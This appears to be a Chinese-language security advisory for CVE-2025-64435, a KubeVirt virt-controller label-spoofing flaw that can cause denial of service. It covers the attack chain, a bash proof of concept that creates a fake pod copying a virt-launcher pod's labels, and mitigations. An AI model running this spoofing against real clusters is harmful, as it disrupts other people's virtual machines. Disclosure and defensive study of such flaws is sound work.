CVE-2025-64435 KubeVirt virt-controller标签欺骗导致拒绝服务漏洞

漏洞信息

漏洞编号

CVE-2025-64435

漏洞类型

逻辑缺陷 / 标签欺骗

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

KubeVirt

漏洞概述

CVE-2025-64435是KubeVirt虚拟化管理组件中的一个逻辑缺陷漏洞。KubeVirt是Kubernetes的虚拟机管理扩展，允许在Kubernetes集群中运行和管理虚拟机。漏洞存在于virt-controller组件中，攻击者可以通过创建与合法virt-launcher pod具有相同标签的恶意pod来欺骗virt-controller。当virt-controller检测到带有特定标签的pod时，它会将该pod与对应的VMI（虚拟机实例）关联起来。由于攻击者创建的fake pod与VMI的关联是错误的，这会导致virt-controller对VMI状态更新出现偏差，可能导致VMI失去控制、状态不一致，严重情况下可造成拒绝服务（DoS）影响。漏洞在1.7.0-beta.0版本中得到修复。

技术细节

KubeVirt的virt-controller组件负责管理VMI的生命周期，包括将VMI与运行它的virt-launcher pod进行关联绑定。关联机制依赖于pod的标签匹配——virt-controller通过查找带有特定标签的pod来确定哪个pod承载了对应的VMI。漏洞在于该关联过程缺乏足够的身份验证和pod来源校验。攻击者只需拥有低权限即可创建一个与合法virt-launcher pod标签完全相同的fake pod。由于标签匹配是简单的字符串比较，virt-controller会优先选择或错误地关联攻击者控制的pod，导致：1）VMI状态更新被指向错误的pod；2）合法的virt-launcher pod被替换或忽略；3）VMI控制器无法正确管理虚拟机生命周期，最终导致VMI失控或服务中断。攻击者无需特殊权限，只需能够在同一命名空间创建pod即可实施攻击。

攻击链分析

STEP 1

步骤1

侦察阶段：攻击者获取目标集群访问权限，枚举目标命名空间中的VMI（虚拟机实例）和virt-launcher pod，提取其标签信息

STEP 2

步骤2

准备阶段：攻击者构造一个恶意pod，其metadata.labels与目标VMI关联的合法virt-launcher pod的标签完全一致

STEP 3

步骤3

部署阶段：使用低权限账号在目标命名空间中创建该恶意fake pod

STEP 4

步骤4

欺骗阶段：virt-controller通过标签匹配发现fake pod，将其错误地关联到目标VMI，更新VMI状态指向攻击者控制的pod

STEP 5

步骤5

影响阶段：由于VMI实际运行在合法的virt-launcher pod中，而控制器已与fake pod关联，导致状态更新混乱、生命周期管理失效，最终造成VMI失控或服务中断（DoS）

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2025-64435 PoC - KubeVirt virt-controller label spoofing attack
# Prerequisites: kubectl access to the cluster with permission to create pods

# Step 1: Identify target VMI and its associated virt-launcher pod labels
TARGET_VMI="your-vmi-name"
NAMESPACE="default"

echo "[+] Getting VMI labels..."
VMI_LABELS=$(kubectl get vmi $TARGET_VMI -n $NAMESPACE -o jsonpath='{.metadata.labels}')
echo "[+] VMI Labels: $VMI_LABELS"

# Step 2: Get the original virt-launcher pod name
ORIGINAL_POD=$(kubectl get pods -n $NAMESPACE -l kubevirt.io=vmi-launcher -o jsonpath='{.items[0].metadata.name}')
echo "[+] Original virt-launcher pod: $ORIGINAL_POD"

# Step 3: Get labels from the original virt-launcher pod
echo "[+] Extracting labels from original pod..."
ORIGINAL_POD_LABELS=$(kubectl get pod $ORIGINAL_POD -n $NAMESPACE -o jsonpath='{.metadata.labels}')

# Step 4: Create a fake pod with identical labels
# This pod will trick virt-controller into associating with the target VMI
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: fake-virt-launcher
  namespace: $NAMESPACE
  labels:
    $ORIGINAL_POD_LABELS
spec:
  containers:
  - name: fake-container
    image: busybox:latest
    command: ["sleep", "3600"]
EOF

echo "[+] Fake pod created successfully"
echo "[+] The virt-controller may now associate this fake pod with the VMI"
echo "[+] This can lead to incorrect status updates and potential DoS"

# Step 5: Verify the attack effect
echo "[+] Checking VMI status after attack..."
kubectl get vmi $TARGET_VMI -n $NAMESPACE

影响范围

KubeVirt < 1.7.0-beta.0

防御指南

临时缓解措施

如果无法立即升级，可通过以下措施临时缓解：1）使用Kubernetes NetworkPolicy限制pod间的非必要通信；2）启用PodSecurityPolicy或Pod Security Standards限制特权容器的创建；3）监控virt-launcher pod标签变更事件，及时发现异常；4）对涉及VMI管理的命名空间实施更严格的访问控制，限制低权限用户创建pod的能力；5）考虑使用 admission webhooks 验证virt-launcher pod的来源和真实性。